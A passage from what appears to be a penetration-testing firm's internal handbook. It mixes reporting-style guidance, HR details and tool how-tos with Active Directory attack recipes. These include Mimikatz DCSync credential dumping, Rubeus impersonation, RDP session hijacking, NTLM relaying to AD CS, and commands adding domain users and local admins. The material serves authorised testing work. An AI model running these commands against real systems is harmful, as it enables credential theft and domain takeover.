| Management, leaders, CISOs | Business impact and attack path in plain language | | [Description](descriptions) | Technical staff | Full analysis, steps, evidence | The summary expands on the title. It should not repeat the title word for word, and it should not duplicate the description. If the description is long, the summary is the bridge for readers who will not read past the first page. ## Common mistakes * **Burying the impact** by opening with vulnerability class or methodology instead of business risk. * **Technical language** such as CVSS scores, CVE IDs, or CWE references in the summary instead of metadata. * **Unverified worst case** such as claiming "full network compromise" when we only showed access to one application. * **Missing preconditions** such as not stating that exploitation requires VPN access or an insider account. * **Copy-paste templates** with the same text for every SQL injection finding regardless of which database or data was exposed. * **Too much technical detail** in the attack path, such as environment variables, CLI commands, cookie formats, full URLs, or request parameters that belong in the description. * **Over-specified components** such as naming `https://example.com/login/` and the exact parameter when "the redirect parameter on the login page" already identifies the issue. * **Long attack paths** that walk through every step when one to three sentences would cover the same outcome for a management reader. ## Further reading * [OWASP Web Security Testing Guide — Reporting](https://owasp.org/www-project-web-security-testing-guide/latest/5-Reporting/) * [Google Tech Writing Course — Audience and scope](https://developers.google.com/tech-writing/one/audience) --- --- url: 'https://handbook.syslifters.com/pentesting-manual/reporting/findings/titles.md' description: >- How to write concise, concrete pentest finding titles that communicate impact and root cause. --- # Finding titles ## 🎯 Goal Good finding titles help both technical and non-technical readers quickly understand **why they should care**. In practice, strong titles usually combine: * **What?** ("*Admin takeover...*") * **Who?** ("*...by unauthenticated users...*") * **How?** ("*...(stored XSS)*") ## Examples of good finding titles * ✅ "*Admin takeover by authenticated users (stored XSS)*" * ✅ "*Leak of database password by config file disclosure (Path Traversal)*" * ✅ "*Read-write access to hiring database (authenticated SQLi)*" * ✅ "*Public configuration file reveals application settings*" :::tip Quick rules of thumb ✅ * **Name the impact** * E.g., "*Account takeover*", "*Read-access to user database*" * **Name who can do it** * E.g., "*Unauthenticated users*", "*Customer users*", "*Backend administrators*" * **Name the cause** for technical readers * E.g., "*...via stored XSS*", "*...(SQLi)*". * **Prefer concreteness** over vague categories. * E.g., "*Public configuration file*" instead of "*Information disclosure*" * **Choose the most severe verified impact** when multiple are possible. * E.g., "*Account takeover due to password change via CSRF*", even if there are other, less severe CSRF vulnerabilities. * **Keep it concise**, but prefer a clear two-line title over a meaningless one-liner. * **Write in sentence case** (not title case) * **Sometimes, we'll not be able to write a perfect title** with all desired information. * We live with it. ::: ## Bad finding titles (and better alternatives) * 🚫 "*Cross-site scripting (XSS)*" * It doesn’t communicate **criticality**, **business/technical impact**, and **precondition**. * For readers who don’t know the term, it’s close to meaningless. * 🟠 "*Account takeover of administrator accounts by unprivileged authenticated users*" * Better because it is impact-focused. * Missing the technical root cause. * Readers must guess whether the takeover is due to weak passwords, authorization issues, HTTP request smuggling, XSS, etc. * Length will cause a line break. * ✅ "*Admin takeover by authenticated users (stored XSS)*" * Covers **impact**, **precondition**, **technical root cause**. - 🚫 "*Command injection*" - ✅ "*Full server compromise by command injection*" * 🚫 "*Remote code execution*" * ✅ "Server takeover by remote code execution (RCE)" - 🚫 "*Path traversal*" * The impact can vary widely; the title should reflect what it enables in your case. - ✅ "*Server takeover due to write access to arbitrary files (path traversal)*" - ✅ "*Leak of database password by config file disclosure (path traversal)*" - ✅ "*Disclosure of server files via path traversal*" * More generic without a concrete impact (which happens in real life) * 🚫 "*Upload of malicious files*" * 🚫 "*Unrestricted file upload*" * Readers don't know whether this enables **server compromise**, **unauthenticated uploads**, or only missing malware scanning. * ✅ "*Full server compromise by arbitrary file upload (RCE)*" * ✅ "*File upload by unauthenticated users*" * ✅ "*Missing malware check for uploaded files*" (though we usually wouldn't report this) - 🚫 "*Read-write access to database*" * Missing technical root cause. * "Database" might be too abstract for non-technical users. - ✅ "*Read-write access to hiring database (authenticated SQLi)*" - ✅ "*Read-write access to MS Dynamics database (unauthenticated SQLi)*" * 🚫 *Disclosure of internal information* * It’s unclear **what** information is exposed, so readers can’t assess urgency. * ✅ "*Public configuration file reveals application settings*" * ✅ "*Disclosure of error messages and stack traces*" * ✅ "*Directory listing discloses existing files*" * ✅ "*Disclosure of server software versions via HTTP headers*" - 🚫 "*Cross-site request forgery (CSRF)*" * Impact ranges from negligible to critical. - ✅ "*Account takeover via third party websites (CSRF to self-XSS)*" - ✅ "*Forum posts on behalf of other users via CSRF*" - ✅ "*Deactivation of other users’ multi-factor authentication (CSRF)*" * 🚫 "*Weaknesses in session management*" * Hides the actual flaw; readers don’t know what must be fixed. * Could still be used in for a finding that includes multiple low-risk findings * ✅ "*User sessions never expire*" * ✅ "*Logout does not invalidate user session*" * ✅ "*Session token not renewed after login (session fixation)*" - 🚫 "*Insecure communication*" - 🚫 "*Weak SSL settings*" - 🚫 "*SSL/TLS misconfigurations*" - 🚫 "*Unkown certificate authority*" * They don’t tell readers whether the problem is certificates, ciphers, configuration, or a specific vulnerability. * Might refer to data in transit (more likely) or data at rest. - ✅ "*Weak TLS setup might impact encryption in transit*" - ✅ "*Heartbleed vulnerability might allow web application takeover*" * 🚫 "*Vertical privilege escalation*" * "Vertical" is an uncommon attribute in this context: It’s not understandable immediately. * It doesn’t specify **which role can escalate to which role**. * ✅ "*Trial users gain access to paid features*" * ✅ "*User escalates privileges to admin level*" * ✅ "*Organization admin can compromise other organizations*" * ✅ "*Global reader can write tenant attributes*" - 🚫 "*Reputation loss by public configuration file*" - 🚫 "*Compliance non-conformance by reflected XSS*" * We are not in the position to evaluate business risks that go beyond our testing scope. * Reputation loss and compliance issues must be evaluated by the business owners, not us. - ✅ "*Customer account takeover by authenticated shop users (reflected XSS)*" * This title includes the application risk/impact. * It doesn't go beyond our pentesting scope. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/firefox-multicontainer.md description: >- Use Firefox Multi-Account Containers to test multiple user accounts and permission levels in one browser window. --- # Firefox Multi-Account Containers Firefox Multi-Account Containers allow you to isolate your browsing activity into separate, color-coded categories. This enables you to stay logged into the same website with different accounts simultaneously in the same browser window without needing multiple profiles and is especially useful when testing users wih different permissions. The extension can be installed as [Firefox Browser Add-On](https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/). After installation you can create containers, configure different names or colors and use each container as an isolated profile to test different user accounts without having multiple browser profiles or browser windows. ![Firefox Multi-Account Containers in practice](/images/firefox-multicontainer1.png){width="auto"} --- --- url: 'https://handbook.syslifters.com/pentesting-manual/mobile/flutter-app-setup.md' description: >- Practical steps to work around Flutter apps ignoring proxy settings and system trust stores. --- # Flutter app setup (proxy & TLS) Flutter often doesn’t respect the system proxy and certificates. * Copy the app from `/data/app/XXXXX` using `adb pull /data/app/XXXXX` * If the APKs are split, merge them * You can use `mergeapks.py` or `apktool` directly (see `unpack_apk` and `pack_apk` methods in the python script) * `python3 mergeapks.py base.apk split_config.en.apk split_config.x86_64.apk split_config.xxhdpi.apk` * Run `reFlutter` on the APK containing `libflutter.so` * `docker run --rm -it -v ${PWD}:/myfiles python:3.12 /bin/bash` * `pip3 install pipx && pipx install reflutter` * `/root/.local/bin/reflutter /myfiles/base.apk` * Sign using [uber-apk-signer](https://github.com/patrickfav/uber-apk-signer) * Install the new signed APK using `adb install your.apk` --- --- url: 'https://handbook.syslifters.com/organization/human-resources/food-vouchers.md' description: >- Quarterly Pluxee meal vouchers (€2/day, tax-exempt)—amounts, eligibility, and how payouts work for full- and part-time employees. --- # Food vouchers Our employees receive food vouchers (not restaurant vouchers!) via Pluxee. The amount permitted by law (without taxes) is 2€ per day. We pay the amount via [virtual cards](https://www.pluxee.at/arbeitnehmende/lkv/) quarterly in arrears.\ The vouchers are valid for usage in restaurants and supermarkets (see [merchant-finder](https://www.pluxee.at/merchant-finder/de-AT)). For making the administration easier, we pay a standard amount for 18 working days per month (which is 18\*2=36€; 108 per quarter), instead of the number of days actually worked (this is possible according to [LStR 95a](https://findok.bmf.gv.at/findok/volltext\(suche:Standardsuche\)?segmentId=c96dc3b6-d3b6-44c5-b13a-24c5b95bfd3b)). This means that we pay out the food vouchers once per quarter for the past quarter. Employees working part-time receive the aliquot amount.\ If an employee doesn't work for a longer period of time (e.g. sick leave of several weeks), we stop paying out the food vouchers due to legal reasons. We pay food vouchers voluntarily. There is no legal entitlement. The payouts are initiated at (Aron or Christoph). --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/wordlists/framework-specific.md description: Starting points for framework and service endpoint discovery. --- # Framework-specific wordlists ## Programming language / framework specific wordlists * [Java Spring Boot](https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt) * [Jenkins endpoints wordlist](https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/Service-Specific/Jenkins-Hudson.txt) * [Swagger endpoints wordlist](https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/Service-Specific/Swagger.txt) ## Documentation * [Spring Boot Actuator documentation](https://docs.spring.io/spring-boot/reference/actuator/endpoints.html) --- --- url: 'https://handbook.syslifters.com/de.md' description: >- Syslifters ist ein spezialisiertes Pentesting-Unternehmen aus Österreich mit Fokus auf Microsoft-lastige Unternehmensumgebungen, Microsoft Cloud und Web Security. --- # Hallo! Wir sind die Syslifters. Wir sind ein junges Security-Unternehmen mit Fokus auf Pentests. Unsere Spezialisierungen sind Microsoft-lastige Unternehmensumgebungen (Active Directory), Microsoft Cloud (Entra ID, Azure, Microsoft 365) und Web Security. Mit unserem klaren Fokus haben wir das größtmögliche Know-How im Bereich der offensiven IT-Security. ## Referenzen und Partner ## Unsere Stärken ### Klarer Fokus Interne Infrastrukturen, Microsoft-Cloud und Web Security sind unsere Schwerpunkte. Mit diesem klaren Scope arbeiten wir fokussiert und effizient, damit Expertise und Aufwand dort ansetzen, wo sie für euch den größten Nutzen bringen. ### Größtes Know-how Unser Team vereint Studium und Zertifizierungen in IT-Security mit langjähriger Pentest-Praxis. Dazu zählen Austausch in der europäischen Security-Community, Erfolge bei der European Cyber Security Challenge und internationale Übungen wie NATO Locked Shields. ### Starkes Team Wir sind ein Team mit vielen Stärken und Erfahrungen in Industrie, Banken und Finanzen, öffentlichem Sektor, Universitäten, Gesundheitswesen, Handel und mehr. Aus unserer Pentest-Arbeit sind SysReptor für Pentest-Reporting und SysLeaks für Data-Leak-Monitoring entstanden, zwei international anerkannte Services. ### Nachhaltige Kooperation Handschlagqualität, enger Austausch und persönlicher Kontakt sind für uns selbstverständlich und prägen unsere Zusammenarbeit mit euch. Wir wollen Security in eurer Organisation nachhaltig verbessern und setzen auf langfristige Partnerschaften. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/credential-access/hash-cracking.md description: Hash cracking workflows and references for AD passwords and Kerberos material. --- # Hash cracking ## Password modes | Hashtype | Example | Mode | | --- | --- | --- | | Kerberos RC4 | `$krb5tgs$23$` | `13100` | | Kerberos AES256 | `$krb5tgs$18$` | `19700` | ## Hashtopolis When trying to crack kerberoast hashes, separate them into their respective types. In Hashtopolis: 1. Create a new hashlist, select the corresponding Kerberos hashtype and paste your hashes 2. Create a new task, assign your wordlist and delete the appended `.???` from the command line arguments 3. Open the saved task and assign the agent to it ## NTLMv1 Only works with NTLMv1 because MIC (Message Integrity Code) can be dropped/omitted in the request. Not applicable to NTLMv2. [Bypass NTLM Message Integrity Check - Drop the MIC](https://www.blackhillsinfosec.com/bypass-ntlm-message-integrity-check-drop-the-mic/) Example attack chain (high-level): 1. Coerce authentication to a notebook you control, then relay it between systems (e.g., DC1 to DC2). 2. Configure resource-based constrained delegation (RBCD) for your controlled notebook. 3. Request a service ticket for LDAP via Rubeus (`.\Rubeus.exe s4u /impersonateUser:admin /msdsspn:ldap/DC.example.local /rc4: /user: /ptt /nowrap`). 4. Start Mimikatz and use DCSync to retrieve a DA password hash (`lsadump::dcsync /user:admin /domain:example.local`). 5. Optionally dump all users: `lsadump::dcsync /all /domain:lab.local /csv` 6. Request a Kerberos TGT via Rubeus `asktgt` (`.\Rubeus.exe asktgt /user:admin /rc4:`). 7. Perform actions (e.g. `net user /add USERNAME PASSWORD /domain`) using the issued TGT. ## DC Sync ```powershell powershell -ep bypass -c ". Import-Module DSInternals; Get-ADReplAccount -All -Server dc1.example.local" > accounts.txt ``` ## Store DCSync in variable ```powershell $accounts = Get-ADReplAccount -all -server -Credential (Get-Credential) ``` ## Mimikatz for password cracking ```powershell .\mimikatz.exe \"lsadump::dcsync /all /csv\" > accounts-csv.txt ``` ## DSInternals ### Setup ```powershell Install-Module -Name DSInternals -Force Import-Module -Name DSInternals ``` ### Test-PasswordQuality ```powershell $accounts = Get-ADReplAccount -all -server -Credential (Get-Credential) $accounts | Test-PasswordQuality > testPwdQuality.txt ``` #### HIBP database Download password hashes from haveibeenpwned.com: ```powershell $accounts | Test-PasswordQuality -WeakPasswordHashesFile \"C:\\temp\\pwnedpasswords_ntlm.txt\" Passwords of these accounts have been found in the dictionary: ``` #### Leaked-password corpus with ruleset Use a leaked-password corpus you are licensed/allowed to use and apply rules like "OneRuleToRuleThemStill" (). Use Hashcat to create a list of passwords with the ruleset: ```powershell hashcat --force sysleaks-dict.txt -r ./OneRuleToRuleThemStill.rule --stdout > leaks-with-rules.txt ``` Use with DSInternals to check for passwords from the list: ```powershell $accounts | Test-PasswordQuality -WeakPasswordsFile \"C:\\temp\\pwnedpasswords-with-ruleset.txt\" ``` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/credential-access/hijack-rdp-session.md description: >- Techniques for taking over existing RDP sessions for lateral movement or privilege escalation. --- # Hijack RDP session ## Built-in Windows tools Get all active sessions: ```powershell query user ``` Use PsExec for a SYSTEM shell: ```powershell PSExec64.exe -s cmd.exe cmd /k tscon 3 /dest:rdp-tcp#1 ``` Take session: ```powershell tscon 4 ``` ## Mimikatz Enable privileges: ```powershell privilege::debug token::elevate ``` List RDP sessions: ```powershell ts::sessions ``` Hijack session: ```powershell ts::remote /id:2 ``` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/enumeration/network-enumeration/host-and-service-discovery.md description: 'Host, port, and service discovery for AD engagements using SmartScanner.' --- # Host and service discovery Once you are on a reachable subnet (after [NAC bypass](./nac), VPN access, or directly through an in-scope range), the first step is to find live hosts, their open ports, and the services behind them. Our preferred tool for this on internal engagements is [SmartScanner](https://github.com/Syslifters/smartscanner). It wraps host discovery, full and quick nmap-style port scans, service version detection, HTTP screenshots, and a handful of protocol plugins (SMB, LDAP, TLS, ...) behind an interactive shell, and can stream every finding into a [SysReptor](https://github.com/Syslifters/sysreptor) project as structured notes. ## SmartScanner ### Where to find it * Source & docs: * Local state (database, screenshots, Selenium cache): `~/.smartscanner/` ### How to start it Clone the repository, install the Python dependencies (a virtualenv is recommended), then launch the interactive shell: ```bash git clone https://github.com/Syslifters/smartscanner.git cd smartscanner python -m smartscanner.main ``` You should land at the `SmartScanner>` prompt. The most useful commands at that prompt are: | Command | Purpose | | --- | --- | | `settings` / `set ` | Show or change a setting | | `add ` | Add a network range to the scope | | `resume` / `pause` | Start or pause scanning | | `status`, `tasks`, `hosts`, `plugins` | Inspect progress | | `ports ` | Show open ports for a host | | `rerun [port_id]` | Re-run a plugin (all hosts, or one port) | | `sync` / `sync full` | Push changes to SysReptor manually | | `export {json,csv,xml} ` | Export raw results | ### Adding nmap scripts You can add nmap scripts by copying them to the respective scripts location: * Windows: `C:\Program Files (x86)\Nmap\scripts` * Linux: `/usr/share/nmap/scripts` And update the script database afterwards: `nmap nmap --script-updatedb`. You might need to run this command as admin. Check out our additional [nse-scripts repository](https://github.com/Syslifters/nse-scripts). SmartScanner will automatically pick up all scripts with the categories `vuln`, `default`, `safe`, `discovery` or `auth`. ### Example: End-to-End Pentest Workflow with SysReptor This is the typical engagement workflow. The SysReptor side is set up once, then SmartScanner streams its findings into the project for you. #### Step 1: Prepare the SysReptor project In your SysReptor instance: 1. Create a new project for the engagement (or open an existing one). 2. Note the project ID from the URL: `https:///projects//...` 3. Create an API token: click your user, *API Tokens*, *Create token*, copy it (you'll only see it once). > The first sync will create a root note called `Smartscanner` in that > project, with `Hosts > Hosts - Open Ports` and `Hosts > Hosts - No Open > Ports` as sub-notes. Each scanned host becomes its own note underneath, > titled by IP, with an emoji indicating scan progress (queued, scanning, > analysing, done). #### Step 2: Configure SmartScanner Start SmartScanner and set the SysReptor credentials: ```text SmartScanner> set reptor_server https://sysreptor.example.com Setting 'reptor_server' set to 'https://sysreptor.example.com' SmartScanner> set reptor_token sR_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Setting 'reptor_token' set to 'sR_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' SmartScanner> set reptor_project_id 8f3c2b1a-0d4e-4a1c-9b7e-6f9a2c1d3e4f Setting 'reptor_project_id' set to '8f3c2b1a-0d4e-4a1c-9b7e-6f9a2c1d3e4f' ``` Verify with: ```text SmartScanner> settings ``` #### Step 3: Tune the scan for the engagement For a typical internal pentest where you want to be quick but not too noisy: ```text SmartScanner> set scan_speed aggressive SmartScanner> set max_parallel_tasks 6 SmartScanner> set max_parallel_plugins 4 SmartScanner> set nmap_min_rate 500 SmartScanner> set nmap_host_timeout 1800 SmartScanner> set nmap_script_timeout 120 ``` If the network drops ICMP and you know hosts are alive anyway: ```text SmartScanner> set disable_ping true ``` This skips the basic ping/top-1000 sweep and goes directly to the full `-Pn -sS -sV -sC --script vuln,default,safe,discovery,auth -p-` scan. If you have domain credentials and want SMB share enumeration to be authenticated: ```text SmartScanner> set smb_user pentest SmartScanner> set smb_domain CORP SmartScanner> set smb_password 'Sup3rSecret!' ``` #### Step 4: Enable live background sync (optional but recommended) ```text SmartScanner> set reptor_background_sync true SmartScanner> set reptor_background_sync_threads 3 ``` A control thread now wakes up every ~30s, picks up every host whose `version` is greater than its `synced_version`, and pushes it to SysReptor via 3 worker subprocesses. Screenshots are uploaded to SysReptor's file store and embedded inline in the host note. > Note: any content you write *outside* of the > `` / `` > markers in a managed note is preserved across syncs. Anything inside the > markers will be overwritten on the next sync. #### Step 5: Add the in-scope ranges and let it run ```text SmartScanner> add 10.10.0.0/16 Added network range: 10.10.0.0/16 (ID: 1) SmartScanner> add 192.168.50.0/24 Added network range: 192.168.50.0/24 (ID: 2) SmartScanner> resume Scanning resumed ``` You can now leave it running. Use `status`, `tasks`, `hosts`, and `plugins` to keep an eye on progress. #### Step 6: Inspect results as they roll in ```text SmartScanner> hosts === Discovered Hosts === IP Address Hostname Status Ports ---------------------------------------------------------------------- 10.10.4.17 dc01.corp.local plugins_done 12 10.10.4.42 fileserver.corp.local full_scan_done 5 ... SmartScanner> ports 10.10.4.17 === Ports for 10.10.4.17 === Port Protocol Service Version State --------------------------------------------------------------------------- 53 tcp domain - open 88 tcp kerberos-sec - open 389 tcp ldap - open 445 tcp microsoft-ds - open ... ``` #### Step 7: Manual sync at the end (or any time) Background sync runs continuously, but you can also force a sync: ```text SmartScanner> sync # delta sync (only changed hosts) SmartScanner> sync full # full re-push of every host ``` #### Step 8: Export raw data for the appendix ```text SmartScanner> export json results.json SmartScanner> export csv results.csv SmartScanner> export xml results.xml # nmap-compatible XML ``` ### More Examples #### Stealthy external scan ```text SmartScanner> set scan_speed sneaky SmartScanner> set nmap_min_rate 0 SmartScanner> set max_parallel_tasks 2 SmartScanner> set max_parallel_plugins 1 SmartScanner> add 198.51.100.0/24 SmartScanner> resume ``` `-T1` plus a single scan worker keeps packet rates very low. #### Fast lab sweep (you control the network) ```text SmartScanner> set scan_speed insane SmartScanner> set nmap_min_rate 5000 SmartScanner> set max_parallel_tasks 16 SmartScanner> set max_parallel_plugins 8 SmartScanner> set disable_ping true SmartScanner> add 172.16.0.0/22 SmartScanner> resume ``` #### Re-running a plugin after fixing its config You configured SMB credentials *after* the SMB hosts were already scanned. Re-run `smb_info` on everything: ```text SmartScanner> set smb_user pentest SmartScanner> set smb_password 'Sup3rSecret!' SmartScanner> rerun smb_info ``` Or re-run it for one specific port (look up the port ID with `plugins executions`): ```text SmartScanner> rerun smb_info 42 ``` #### Retrying everything that failed (e.g. a flaky link) ```text SmartScanner> tasks failed SmartScanner> retry ``` ### Cleaning up before a new engagement The database lives in `~/.smartscanner/`. To start completely fresh: ```bash rm -rf ~/.smartscanner ``` This deletes the database, screenshots, and the Selenium driver cache. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/enumeration/host-enumeration.md description: >- Tools and checklists for enumerating Windows hosts during Active Directory assessments. --- # Host enumeration ## Client-Checker [Client-Checker](https://github.com/LuemmelSec/Client-Checker) is a PowerShell script to automate client checks on a Windows system. You should run it as admin, as certain stuff can only be queried with elevated rights. It is used to check a client for common misconfigurations. The list currently includes: * Default Domain Password Policy * LSA Protection Settings * WDAC Usage * AppLocker Usage * Credential Guard Settings * Co-installer Settings * DMA Protection Settings * BitLocker Settings * Secure Boot Settings * System PATH ACL checks * Unquoted Service Path checks * Always Install Elevated checks * UAC checks * Guest Account checks * System Tool access as low priv user checks * WSUS Settings * PowerShell Settings * IPv6 Settings * NetBIOS / LLMNR Settings / mDNS * SMB Server Settings * Firewall Settings * AV Settings * Proxy Settings * Windows Updates * 3rd Party Installations * RDP Settings * WinRM Settings * PrintNightmare checks * Recall checks * Autologon checks ## WinPEAS [PEAS](https://github.com/peass-ng/PEASS-ng/releases/) is a suite of tools designed to identify local privilege escalation pathways on Windows, Linux, Unix-like, and macOS systems. These tools are provided in multiple formats, including batch scripts (`.bat`), PowerShell scripts (`.ps1`), and executables (`.exe`). ## Seatbelt [Seatbelt.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/Seatbelt.exe) is part of the GhostPack suite of tools that performs many security checks on a Windows host and collects system data that can be useful for privilege escalation or persistence. Example (run all checks; produces a lot of output): ```powershell Seatbelt.exe -group=all -full ``` ## BloodyAD Perform manual LDAP queries to a domain controller using bloodyAD. This tool is especially useful for running LDAP queries on a non-Windows system. bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket, or certificates and binds to LDAP services of a domain controller to perform AD privilege escalation. ```powershell Usage: bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 set password john.doe 'Password123!' ``` ## SharpSCCM [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) can be used for local enumeration on a Windows host to retrieve Microsoft Endpoint Configuration Manager (formerly SCCM) configuration details via WMI (for example the management point endpoint and site code). The enumeration part is done via WMI, so we can use either SharpSCCM or the WMI interface. ```powershell # SharpSCCM SharpSCCM.exe local site-info --no-banner # WMI Get-WmiObject -Class SMS_Authority -Namespace root\\CCM | select Name, CurrentManagementPoint | fl ``` We can also check for systems which have `GenericAll` permissions on the `CN=System Management` container - these are likely systems which are used to set up / configure SCCM in the first place (as these are required to set up SCCM): ```powershell SharpSCCM.exe get site-info -d mydomain --no-banner ``` If we want to list containers which are readable by a specific user, we need to run the query as that user, due to SCCM’s RBAC model. ## Standalone commands ### Checking WDAC and Credential Guard Run `msinfo32` and find values for: * `Virtualization-based security Services Configured` - look for `Credential Guard` * `Virtualization-based security Services Running` - look for `Credential Guard` * `App Control for Business policy` (WDAC, kernel) * `App Control for Business user mode policy` (WDAC, user) Alternatively, use powershell: ```powershell Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | select SecurityServicesConfigured,SecurityServicesRunning,CodeIntegrityPolicyEnforcementStatus,UsermodeCodeIntegrityPolicyEnforcementStatus ``` All values are listed in the [Microsoft docs](https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity). `CodeIntegrityPolicyEnforcementStatus` applies to the kernel, e.g. preventing loading malicious drivers, while `UsermodeCodeIntegrityPolicyEnforcementStatus` indicates whether users are only allowed to execute programs or load DLLs listed in the policies. This also ensures that Powershell runs in the `Constrained Language` mode. By default, only kernel-mode CI is enforced. Possible values are: * `0` - Disabled * `1` - Audit Mode * `2` - Enforced `SecurityServicesConfigured` and `SecurityServicesRunning` contain a list of possible security services: * `0` - No services running. * `1` - Credential Guard is running. * `2` - memory integrity is running. * `3` - System Guard Secure Launch is running. * `4` - SMM Firmware Measurement is running. * `5` - Kernel-mode Hardware-enforced Stack Protection is running. * `6` - Kernel-mode Hardware-enforced Stack Protection is running in Audit mode. * `7` - Hypervisor-Enforced Paging Translation is running. > Credential Guard is only supported in Windows Education or Enterprise ([Microsoft docs](https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/#windows-edition-and-licensing-requirements)). #### Some notes on WDAC * WDAC policies are located in `C:\Windows\System32\CodeIntegrity\CIPolicies\Active\` and are usually `.cip` files. * Check for signed policies: `Get-AuthenticodeSignature 'C:\Windows\System32\CodeIntegrity\CIPolicies\*\*.cip'` * Policies can be signed with code signing certs (some are pre-signed by MS). Signed policies cannot directly be tampered with becuase the signature check is based on secure boot. Disable secure boot and no signature check will be performed. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/http-rpc-relaying.md description: ntlmrelayx workflows for relaying to AD CS via HTTP and RPC interfaces. --- # HTTP / RPC relaying NTLM relay prerequisites (external link) ## Set up ntlmrelayx [ntlmrelayx Syslifters Edition](https://github.com/Syslifters/ntlmrelayx) Required `cryptography` and `pyOpenSSL` versions: ```powershell pip install cryptography==41.0.7 pip install pyOpenSSL==23.2.0 ``` ## NTLM relay to AD CS Web Enrollment (ESC8) Run ntlmrelayx to relay incoming connections to vulnerable CA HTTP(S) web enrollment. ```powershell ntlmrelayx.py -t http:///certsrv/ -smb2support --adcs --template ``` TODO ## NTLM relay to AD CS RPC interface (ESC11) Run ntlmrelayx to relay incoming connections to RPC. ```powershell python ./examples/ntlmrelayx.py -t rpc:// --template --smb-port 8445 -rpc-mode ICPR -icpr-ca-name -smb2support ``` Coerce authentication with [Coercer.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/Coercer.exe) ([upstream](https://github.com/p0dalirius/coercer); on Linux: `coercer` module). See [SMB relaying](./smb-relaying). ```powershell Coercer.exe coerce -u -p -l -t ``` Use the issued certificate to authenticate with certipy. `certipy auth -pfx certificate.pfx -ldap-shell -dc-ip ` Configure resource-based constrained delegation (RBCD) in the LDAP shell. `set_rbcd ATTACKER-HOST$ VICTIM-HOST$` Abuse RBCD with Rubeus. `Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:cifs/TARGET-HOST> /ptt /nowrap` Add attacker user to local admin group. `PsExec.exe \\ net localgroup Administrators /add` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/fat-clients/https-traffic-decryption-with-wireshark.md description: >- Decrypt TLS traffic by logging ephemeral session keys with SSLKEYLOGFILE and loading them into Wireshark. --- # HTTPS traffic decryption with Wireshark To decrypt HTTPS traffic you must instruct your browser to log ephemeral key material. You can do this by setting the `SSLKEYLOGFILE` environment variable (works for Chrome, Firefox, Edge). Make sure to **not** set it persistently, to not forget to unset it later. Also consider using a different browser than your usual one. Start your browser (example for Chrome on Windows): ```powershell $env:SSLKEYLOGFILE="C:\path\to\sslkeys.log"; Start-Process "C:\Program Files\Google\Chrome\Application\chrome.exe" ``` Use Wireshark or `tcpdump` to capture traffic while browsing HTTPS websites. (You can dump the traffic on the client or on the server.) In Wireshark, navigate to **Edit > Preferences > Protocols > TLS** and set your `SSLKEYLOGFILE` as "(Pre)-Master-Secret log filename". ![Setting the key file in Wireshark](/images/fat-clients/wireshark-tls-keylogfile-setting.png){width="auto"} Previously encrypted traffic should now be available in plain text. ![Traffic is now decrypted](/images/fat-clients/wireshark-decrypted-traffic.png){width="auto"} ## Deprovisioning * Unset the environment variable. * Delete or archive your key file securely. ## SSL/TLS interception of Java clients SSL/TLS traffic of Java applications can be intercepted using jSSLKeyLog. * Project: * [Download binary](https://syslifters.sysre.pt/api/v1/pentestprojects/5086e509-4fca-4d99-aa2a-404feeda69a7/files/name/jSSLKeyLog-1.3.zip) (internal link) You’ll need to locate the command line used to start the Java program (usually hidden in some script or batch file). It will usually look like `java ... -jar file.jar ...` or `java ... some.class.Name ...`. Then add an additional parameter directly after the `java` command name: `-javaagent:jSSLKeyLog.jar=/path/to/your_logfile.log` Example: `java -javaagent:jSSLKeyLog.jar=/path/to/your_logfile.log ... -jar file.jar` --- --- url: 'https://handbook.syslifters.com/organization/human-resources.md' description: Coming soon. --- # Human Resources Coming soon. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/entraid-azure/enumeration/identity-and-policy-enumeration.md description: >- Enumerate Entra ID identities, role assignments, and Conditional Access policies with ROADtools / ROADrecon. --- # Identity & policy enumeration Pull a queryable local copy of every user, role assignment, application, and Conditional Access policy in an Entra tenant. Our tool of choice is [ROADtools](https://github.com/dirkjanm/ROADtools) (`roadrecon`). Exporting CA policies to HTML / JSON makes it practical to review them as code instead of clicking through the Entra portal. ## ROADtools ### Get access token [Getting started with ROADrecon · dirkjanm/ROADtools Wiki · GitHub](https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon) ```powershell $tok = Get-AzAccessToken -ResourceUrl 'https://graph.windows.net' # If it's a SecureString, convert it if ($tok.Token -is [System.Security.SecureString]) { $plainToken = [System.Net.NetworkCredential]::new("", $tok.Token).Password } else { $plainToken = $tok.Token # some versions expose Token as plain text } # Now you can use it: $headers = @{ Authorization = "Bearer $plainToken" } $headers | fl ``` Output: ```powershell PS C:\Users\John> $headers | fl Name : Authorization Value : Bearer ``` ### Use PRT to authenticate [Abusing Azure AD SSO with the Primary Refresh Token - dirkjanm.io](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) ![](/images/entraid-roadtools-prt-auth.png){width="auto"} RoadToken.exe: 